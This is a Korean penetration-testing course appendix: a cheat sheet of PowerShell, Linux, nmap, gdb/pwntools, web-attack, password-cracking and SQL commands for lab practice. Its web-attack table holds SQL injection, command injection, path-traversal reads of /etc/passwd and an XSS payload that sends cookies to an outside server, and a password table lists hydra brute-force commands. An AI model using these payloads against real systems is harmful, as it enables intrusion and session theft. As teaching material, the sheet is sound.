침투 실습
부록 D. 치트시트 — 자주 쓰는 명령어와 구문 모음
이전에 읽던 위치가 있습니다.
- 대상 독자: 전 레벨 (각 표에 관련 Step 표기)
- 용도: 실습 중 빠른 참조, 대회·시험 전 점검, 인쇄용 요약
⚠️ 이 부록의 명령과 페이로드는 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 사용하면 범죄입니다.
본문 곳곳에 흩어져 있던 명령어와 구문을 주제별로 모았습니다. 각 항목의 배경과 원리는 표의 연관 Step을 참고하세요 — 치트시트는 “손의 기억”을 돕는 도구이지, 이해를 대신하지는 않습니다.
D-1. PowerShell (Level 0)
| 명령 | 설명 | 연관 Step |
|---|---|---|
Get-ChildItem (ls, dir) |
폴터 내용 보기. -Recurse로 하위까지 |
2 |
Get-Content 파일 (cat) |
텍스트 파일 읽기. -Tail 20으로 끝부분만 |
4 |
명령 | Where-Object { 조건 } |
파이프로 결과 거르기 | 3 |
Get-Process / Get-Service |
실행 중인 프로세스·서비스 목록 | 13 |
Get-ItemProperty "HKCU:\경로" |
레지스트리 값 읽기 | 11 |
Get-WinEvent -LogName System -MaxEvents 50 |
이벤트 로그 읽기 | 12 |
Get-ExecutionPolicy / Set-ExecutionPolicy |
스크립트 실행 정책 확인·변경 | 9 |
$변수 = 값 / $env:PATH |
변수와 환경변수 | 7 |
Test-NetConnection 호스트 -Port 443 |
네트워크 연결 시험 | 6 |
D-2. 리눅스 기본 명령 (Level 0~2)
| 명령 | 설명 | 연관 Step |
|---|---|---|
ls -la / pwd / cd |
목록·현재 위치·이동 | 18 |
find / -name "파일" 2>/dev/null |
파일 찾기 (오류 출력 숨기기) | 20 |
grep -rn "패턴" 경로 |
내용으로 검색 (재귀·줄번호) | 20 |
cat A > B / cat A >> B |
덮어쓰기 / 이어 쓰기 | 19 |
chmod 755 파일 / chown 사용자 파일 |
권한·소유자 변경 | 23~24 |
sudo 명령 / sudo -l |
관리자 권한 실행 / 내 sudo 권한 확인 | 24 |
ps aux / kill -9 PID |
프로세스 보기·종료 | 26 |
apt update && apt install 패키지 |
패키지 설치 | 21 |
ssh 사용자@호스트 -p 포트 |
원격 접속 | 29 |
scp 파일 사용자@호스트:경로 |
파일 원격 복사 | 29 |
crontab -e / * * * * * 명령 |
정기 작업 등록 (분 시 일 월 요일) | 28 |
tar -xzf 파일.tar.gz |
압축 풀기 | 21 |
D-3. 정찰과 스캔 (Level 1~2)
| 명령 | 설명 | 연관 Step |
|---|---|---|
nmap 대상 |
기본 스캔 (상위 1000 포트) | 81 |
nmap -sV -sC 대상 |
서비스 버전 탐지 + 기본 스크립트 | 81, 113 |
nmap -p- 대상 |
전체 65535 포트 스캔 | 113 |
nmap -A 대상 |
OS 탐지·버전·스크립트·트레이스 종합 | 81 |
nmap --script=vuln 대상 |
취약점 스크립트 스캔 | 114 |
ping -c 4 대상 / traceroute 대상 |
연결 확인·경로 추적 | 36~37 |
ss -tulpn / netstat -an |
열린 포트 확인 | 34 |
dig 도메인 / nslookup 도메인 |
DNS 조회 | 33 |
ip a / ip r |
내 주소·라우팅 테이블 | 31, 37 |
D-4. gdb와 pwntools (Level 3 Pwn)
| 명령/구문 | 설명 | 연관 Step |
|---|---|---|
gdb ./바이너리 → run, break main, continue |
실행·중단점·계속 | 183 |
info registers / x/20gx $rsp |
레지스터 보기 / 스택 덤프 | 183~185 |
disassemble 함수명 |
함수 디스어셈블 | 184 |
checksec ./바이너리 |
NX·Canary·PIE 등 보호 기법 확인 | 187 |
from pwn import * |
pwntools 시작 | 188 |
p = process("./vuln") / remote("호스트", 포트) |
로컬·원격 연결 | 188 |
p64(0x주소) / u64(...) |
주소를 8바이트로 / 되돌리기 (리틀 엔디안) | 188 |
p.sendlineafter(b"prompt", payload) |
프롬프트 대기 후 전송 | 188~189 |
ROP(elf).find_gadget(['ret']) |
ROP 가젯 찾기 | 205~206 |
elf.symbols['함수'] / elf.got / elf.plt |
심볼·GOT·PLT 주소 | 207, 210 |
D-5. 웹 공격 구문 (Level 2~3)
| 구분 | 구문/페이로드 | 용도 | 연관 Step |
|---|---|---|---|
| SQLi 탐지 | ' OR '1'='1 |
인증 우회 시험 | 135 |
| SQLi 컬럼 수 | ' ORDER BY 1-- - (숫자를 늘려가며) |
컬럼 개수 확인 | 136 |
| UNION 추출 | ' UNION SELECT null,table_name FROM information_schema.tables-- - |
테이블 목록 탈취 | 136 |
| Blind (시간) | ' OR IF(조건,SLEEP(3),0)-- - |
보이지 않는 참/거짓 관측 | 137, 191 |
| sqlmap | sqlmap -u "URL?id=1" --dbs |
자동화 탈취 | 137 |
| XSS 탐지 | <script>alert(1)</script> |
실행 가능 여부 확인 | 138 |
| XSS 쿠키 | <script>fetch('http://내서버/'+document.cookie)</script> |
세션 탈취 (랩 전용) | 139 |
| SSTI 탐지 | {{7*7}} |
템플릿 엔진 평가 여부 (49 출력 시 취약) | 193 |
| 명령 인젝션 | ; id / | id / $(id) |
명령 삽입 시험 | 143 |
| LFI | ../../../../etc/passwd |
경로 탈출 파일 읽기 | 144 |
| JWT 확인 | jwt.io 또는 john jwt.txt |
alg 확인·약한 시크릿 크래킹 | 150, 197 |
D-6. 패스워드 공격 (Level 2)
| 명령 | 설명 | 연관 Step |
|---|---|---|
hydra -l 사용자 -P 목록.txt ssh://대상 |
온라인 브루트포스 | 122 |
john 해시.txt --wordlist=rockyou.txt |
오프라인 크래킹 | 123 |
john --show 해시.txt |
깨진 결과 보기 | 123 |
hashcat -m 0 해시.txt rockyou.txt |
GPU 크래킹 (-m: 해시 종류) | 124 |
hashid 해시 / hash-identifier |
해시 종류 식별 | 123~124 |
D-7. SQL 구문 (Level 1)
| 구문 | 설명 | 연관 Step |
|---|---|---|
SELECT 컬럼 FROM 테이블 WHERE 조건; |
조회 | 92 |
INSERT INTO 테이블 VALUES (...); |
추가 | 92 |
UPDATE 테이블 SET 컬럼=값 WHERE 조건; |
수정 | 92 |
DELETE FROM 테이블 WHERE 조건; |
삭제 | 92 |
SELECT ... FROM A JOIN B ON A.키=B.키; |
두 테이블 연결 | 93 |
ORDER BY 컬럼 DESC / LIMIT 10 |
정렬·개수 제한 | 92 |
정리하며
이 표들은 “자주 쓰는 것”만 모은 최소 무장입니다. 전체 옵션과 원리는 반드시 연관 Step으로 돌아가 확인하세요. 명령은 외우는 것이 아니라, 필요할 때 “어디서 찾는지”를 아는 것이 실력입니다.
한 단계 더 가까이
수업을 마쳤나요?
본문의 완료 기준을 확인한 뒤 직접 표시하세요.